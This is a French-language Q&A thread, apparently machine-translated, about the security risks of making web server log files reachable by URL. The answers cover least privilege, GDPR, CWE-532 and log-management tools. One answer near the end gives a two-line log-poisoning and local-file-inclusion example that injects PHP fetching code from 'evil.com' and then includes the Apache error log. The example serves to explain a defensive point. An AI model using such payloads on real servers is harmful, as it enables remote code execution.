L'accès aux fichiers journaux du serveur Web via une URL présente un certain attrait, car il offre un accès facile. Mais quels sont les risques pour la sécurité de permettre un accès ouvert aux fichiers journaux?
Il y a clairement 2 lignes de défense différentes ici.
Tout d'abord, les données très sensibles (secrets, généralement les mots de passe) ne doivent jamais être enregistrées pour éviter tout compromis dans les journaux.
Mais plus un attaquant en sait sur un système, plus le risque de créer/utiliser une attaque ciblée est élevé. Par exemple, les versions logicielles ne sont pas très sensibles et peuvent raisonnablement alimenter un journal, mais elles peuvent aider à choisir un vecteur d'attaque.
La deuxième ligne de défense est donc qu'une personne qui n'a pas besoin d'accéder aux journaux ne devrait pas pouvoir les lire. Il s'agit d'une application directe de la règle du moindre privilège.
Il est courant de fournir un accès aux journaux à l'équipe de développement/maintenance, mais vous doit évaluer le rapport risque/gain, en fonction de vos outils de sécurité d'accès. Le système le plus sécurisé est celui auquel aucun utilisateur ne peut accéder, mais sa convivialité est également très faible ...
L'accès aux données de journal brutes doit être limité aux utilisateurs autorisés.
La raison simple en est que même sous conditions de fonctionnement normales vos applications mai devrait ne pas enregistrer de données trop sensibles pour les exposer (et les opinions/réglementations sur ce qui est exactement peuvent différer), il arrivera certainement un moment où vos journaux contiennent des données sensibles:
Sauf si vous êtes extrêmement familier avec vos applications, vous ne savez pas au préalable quels détails seront enregistrés lorsque l'application génère des erreurs ou des exceptions.
La plupart des applications sont conçues pour limiter la quantité de détails dans les messages d'erreur qu'elles présentent aux utilisateurs finaux, mais enregistrent (beaucoup) plus de détails dans leurs journaux pour aider les administrateurs et les développeurs à résoudre la cause de ces erreurs et exceptions.
Vous devrez peut-être augmenter la verbosité du journal pour le dépannage à un niveau tel que les journaux contiennent des détails sensibles qui seraient normalement supprimés.
Comme les gens l'ont commenté: les personnes entrant des mots de passe pour les noms de connexion et les développeurs utilisant la méthode GET plutôt que POST et une myriade d'erreurs humaines similaires peuvent entraîner des champs autrement plus anodins dans les événements de journal "pollués") avec des données sensibles.
Il existe des produits qui vous permettront d'accorder un accès Web aux utilisateurs authentifiés et de configurer les listes de contrôle d'accès uniquement sur les rapports agrégés, les données de journal filtrées/filtrées et/ou tous les événements de journal bruts tels que Splunk, Kibana et similaires.
Et bien que l'accès aux données de journal brutes doive être restreint, vous pouvez toujours décider de publier plus publiquement un sous-ensemble filtré de vos journaux ou les rapports que vous généreriez sur la base des journaux, c'est-à-dire publier un rapport d'utilisation et des statistiques de visiteurs plutôt que l'accès brut Journal
Il a plus de points de vue:
1) En ne cachant pas les journaux, vous exposez votre infrastructure.
2) L'UE a un RGPD. Il est interdit d'exposer des adresses IP, des noms, des e-mails ou tout autre élément personnel. (et au moins un comportement immoral et mauvais) gdpr-info.eu/art-32-gdpr
Si vous devez montrer les données enregistrées à un tiers ou utiliser un outil dédié facile d'accès. Dans mon bureau, c'est graylog par exemple. Vous pouvez facilement récolter les journaux, les stocker et contrôler leur accès.
Les vulnérabilités pouvant résulter des types d'informations écrites dans les fichiers journaux sont énumérées sous la forme CWE-532 dans la base de données Common Weakness Enumeration.
Les informations écrites dans les fichiers journaux peuvent être de nature sensible et fournir des informations précieuses à un attaquant ou exposer des informations utilisateur sensibles.
La question des informations protégées et personnellement identifiables est également très pertinente, comme abordé dans la réponse de @ KOLEGA ci-dessus.
Même si vous n'enregistrez pas intentionnellement des informations sensibles, elles peuvent parfois être enregistrées par inadvertance.
Par exemple, supposons que vous connectiez le nom d'utilisateur des connexions ayant échoué. Parfois, les gens tapent accidentellement leur mot de passe dans le champ du nom d'utilisateur, et cela sera alors enregistré.
Il est préférable de traiter les journaux comme contenant potentiellement des informations qui devraient être protégées, même si vous ne les considérez pas normalement comme sensibles.
Les fichiers journaux doivent être situés sur un emplacement sûr par défaut en général. Les fichiers journaux peuvent contenir des adresses IP, des e-mails et des informations protégées par la loi. Ma recommandation est donc de toujours conserver les fichiers journaux dans un endroit sûr. D'un autre côté, dans certains cas, ces fichiers journaux sont utilisés à des fins médico-légales et vous devez en protéger la modification si possible, cela dépend un peu de votre système.
Comme l'a dit Serge Ballesta, les informations sensibles (noms d'utilisateur, mots de passe, etc.) ne devraient vraiment jamais être placées dans un fichier journal.
Le principal réel problème de sécurité qui découle de la disponibilité de fichiers journaux accessibles au public provient de l'obtention d'informations sur votre système, en particulier si vous utilisez un logiciel accessible au public (non développé pour ce système unique).
Si j'essaie d'accéder à votre système, une chose que je pourrais vérifier en premier est vos fichiers journaux. Si je suis en mesure de discerner quel logiciel votre système exécute, et plus important encore, quelle VERSION de ce logiciel est utilisée, je peux restreindre considérablement ma recherche d'exploits. Peut-être que vous n'avez pas mis à jour votre logiciel vers la version la plus récente, il y a un bogue dans l'ancienne version qui me permet d'utiliser l'injection SQL et il y a une ligne dans votre journal qui indique la version actuelle du logiciel utilisée.
Il s'agit du même niveau de risque de sécurité que l'utilisation du code open source. Cela rend juste un tad plus facile pour un attaquant de trouver des exploits. Nourriture pour la pensée.
Quelques bonnes réponses ici - mais pas complètes.
Oui, vos fichiers journaux peuvent potentiellement contenir des données sensibles, par conséquent, ces données doivent être explicitement limitées aux utilisateurs autorisés à y accéder. Malheureusement, d'après mon expérience, la plupart des organisations qui mettent en œuvre ce type de contrôle, jugent grossièrement le nombre de personnes qui devraient être autorisées.
Mais un autre point important est que vos utilisateurs contrôlent une grande partie des données qui apparaissent ensuite dans les fichiers journaux. En fonction de l'architecture système de votre application, cela peut fournir un mécanisme pour exploiter une vulnérabilité d'inclusion de fichiers locale dans un exploit complet. Considérer:
GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E
GET /vulnerable.php?file=/var/log/httpd/error_log
Cela peut être atténué par la façon dont votre serveur Web gère l'encodage de la demande en entrée et lors de l'écriture dans les fichiers journaux (mais est-il complètement étanche?). Si vous autorisez le serveur Web à accéder à l'emplacement du fichier journal directement via une URL, le mécanisme d'escalade est légèrement différent.
(Notez que dans l'exemple ci-dessus, s'il est possible d'invoquer une inclusion distante, cela sera probablement possible dans tout le code, donc la persistance de l'exploit dans le fichier journal est redondante - mais c'est juste à des fins d'illustration, plus complexe les exploits peuvent être écrits)